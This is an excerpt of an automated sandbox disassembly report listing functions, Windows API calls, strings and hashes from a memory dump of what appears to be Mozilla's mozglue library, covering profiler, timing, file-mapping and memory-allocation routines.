__aulldiv.LIBCMT ref: 6C675945
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C6DF638,?,?,?,?), ref: 6C6759E9

Strings

MOZ_APP_RESTART, xrefs: 6C6756CC

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction ID: 8a5d3d28f3501d48136d047c39752d816cf1a815167c03ec0a4cbd8a9897a4dd
Opcode Fuzzy Hash: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction Fuzzy Hash: 05C17C31A083809FDB15CF29C48066AF7F1BFCA714F158A5DF8C497A60D730A985CB9A

Function 6C69EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EC8C

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69ECA1
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C69ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69ED19
CloseHandle.KERNEL32(?), ref: 6C69ED28
free.MOZGLUE(00000000), ref: 6C69ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C69EC94

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction ID: 2ae2e6adba9c6c1c82c3a60dad5285ffbeb87b2139405902274e78f0153f2d9b
Opcode Fuzzy Hash: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction Fuzzy Hash: 1C21E575600106AFDF009F26DC44A9A3779FF8636DF144210FD1897745DB31A80ACBAE

Function 6C698ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C65EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C69B392,?,?,00000001), ref: 6C6991F4

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Strings

name, xrefs: 6C698F16
data, xrefs: 6C6990E8
marker-table, xrefs: 6C69906C
stack-chart, xrefs: 6C6990B2
timeline-overview, xrefs: 6C69907A
timeline-ipc, xrefs: 6C699096
timeline-fileio, xrefs: 6C6990A4
timeline-memory, xrefs: 6C699088
marker-chart, xrefs: 6C69905E

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction ID: e91fcf3a85a4a0ae094e2106f39310f51662bf5ea7707ab1be9b0a83cbe8eee1
Opcode Fuzzy Hash: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction Fuzzy Hash: 55B1A3B0B0120A9BDF04CF95C4917EEBBB5EF85318F204419D506ABF80D771A955CBEA

Function 6C67C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C5A3
WideCharToMultiByte.KERNEL32 ref: 6C67C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C67C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C67CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C67CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67CAA5

Strings

(null), xrefs: 6C67C596
0, xrefs: 6C67D30A

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction ID: ec663ae348d2d7e35e63457b47664be838fc7f850928f8c79191e0fbf81cf5c1
Opcode Fuzzy Hash: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction Fuzzy Hash: 2AA1B230608341AFDB20DF29C59475EBBE1AFC9758F048D2DE99AD3641D731E805CB6A

Function 6C653480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C65350E
__Init_thread_footer.LIBCMT ref: 6C653522
__aulldiv.LIBCMT ref: 6C653552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C65357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653592

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C653508
kernel32.dll, xrefs: 6C6534EA

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction ID: 9855ab1f5cf0ff1ab9f91fc4aabf033d94efc2b8b54de8244a30b0250912f382
Opcode Fuzzy Hash: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction Fuzzy Hash: 5631B371B012469BDF00DFBAC888AAA77B5FB86745F204429F50193A64DB70B905CF69

Function 6C654480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C694843,?), ref: 6C6545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C694843,?), ref: 6C65468A
free.MOZGLUE(?,?,?,?,?,?,6C694843,?), ref: 6C6546C9
free.MOZGLUE(?), ref: 6C6546EF
free.MOZGLUE(?), ref: 6C654712
free.MOZGLUE(?), ref: 6C654735
free.MOZGLUE(?), ref: 6C654758
free.MOZGLUE(?), ref: 6C65477B
free.MOZGLUE(?), ref: 6C65479E

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction ID: 5853785377ad7fac109c5e2629cf6a5aa9a57433c8303e5361673e4d80730685
Opcode Fuzzy Hash: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction Fuzzy Hash: E5B1F671A001518FDB188E3CC8D07BD77A1AF42328FA846A9E416DBBC6D7B1D8748B59

Function 6C6BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6BAC52
CreateFileMappingW.KERNEL32 ref: 6C6BAC7D
GetSystemInfo.KERNEL32 ref: 6C6BAC98
MapViewOfFile.KERNEL32 ref: 6C6BACB0
GetSystemInfo.KERNEL32 ref: 6C6BACCD
MapViewOfFile.KERNEL32 ref: 6C6BAD05
UnmapViewOfFile.KERNEL32 ref: 6C6BAD1C
CloseHandle.KERNEL32 ref: 6C6BAD28
UnmapViewOfFile.KERNEL32 ref: 6C6BAD37
CloseHandle.KERNEL32 ref: 6C6BAD43
CloseHandle.KERNEL32 ref: 6C6BAD67

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction ID: 1d55252a4fddc2fce995aea856eb7163ac88f37b0f772768b4ec13c3e935887d
Opcode Fuzzy Hash: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction Fuzzy Hash: A53190B1A043058FDB00AF7EC68826EBBF0FF85345F014A2DE98597215EB70A559CB86

Function 6C669620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

NtMapViewOfSection, xrefs: 6C669701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670
MapViewOfFileNuma2, xrefs: 6C6697B1
ntdll.dll, xrefs: 6C6696E3

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction ID: c58beb77730c3bb50b81c3ab3c95484078194ae74635b95675cd758bd60d9ed7
Opcode Fuzzy Hash: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction Fuzzy Hash: 38418F757002069BDF00CFA7E8D4AD67BB4EB4A768F014529ED1597B80D730B805CFAA

Function 6C663E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C663EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C663FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C664134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664157

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: f247eb4cf49074cd7f41e602e599435642a9b1894c5ac81416b866b1157663d0
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 47A181B1A00215CFDB40CF6AC880769B7B5FF49308F2541A9D909AFB42D771E886CBA5

Function 6C6A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8273), ref: 6C6A9D65
free.MOZGLUE(6C6A8273,?), ref: 6C6A9D7C
free.MOZGLUE(?,?), ref: 6C6A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A9E0F
free.MOZGLUE(6C6A946B,?,?), ref: 6C6A9E24
free.MOZGLUE(?,?,?), ref: 6C6A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6A9EC8
free.MOZGLUE(6C6A946B,?,?,?), ref: 6C6A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C6A9EF5

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction ID: fa545ec4329949322bd680fc9968324518d816ccd6c396595b76251b73b351ee
Opcode Fuzzy Hash: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction Fuzzy Hash: 2F71DF70909B418BC712CF68C48055BF3F4FF99318B508A5DE84A5BB02EB31E8C6CB99

Function 6C6ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6ADDCF

Part of subcall function 6C68FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C68FA4B

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE0D
free.MOZGLUE(00000000), ref: 6C6ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF32

Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADB86
Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF65
free.MOZGLUE(?), ref: 6C6ADF80

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction ID: 0ac89ea29ca3db6d5035dcbc7cb8b3ff9466a922f856cee50f87de06b4473153
Opcode Fuzzy Hash: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction Fuzzy Hash: 4551A1726016019BD7219BA9C8806EFB3B2BF96308F95051CDD5A53B00DB31BD1BCB9E

Function 6C6B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DC9
std::_Facet_Register.LIBCPMT ref: 6C6B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E45

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction ID: d43d3134bb9ef4e9c4d1c2bb39eb2cd6776b1883bcd6658d4225881a6cacb5f0
Opcode Fuzzy Hash: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction Fuzzy Hash: 08417C307002049FDB10DFA6C8D8AAE77F6EF89314F144169E506AB791EB30A915CB69

Function 6C68CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6531A7), ref: 6C68CDDD

Strings

<jemalloc>, xrefs: 6C68CF9F, 6C68CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C68CFA4, 6C68CFB8

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
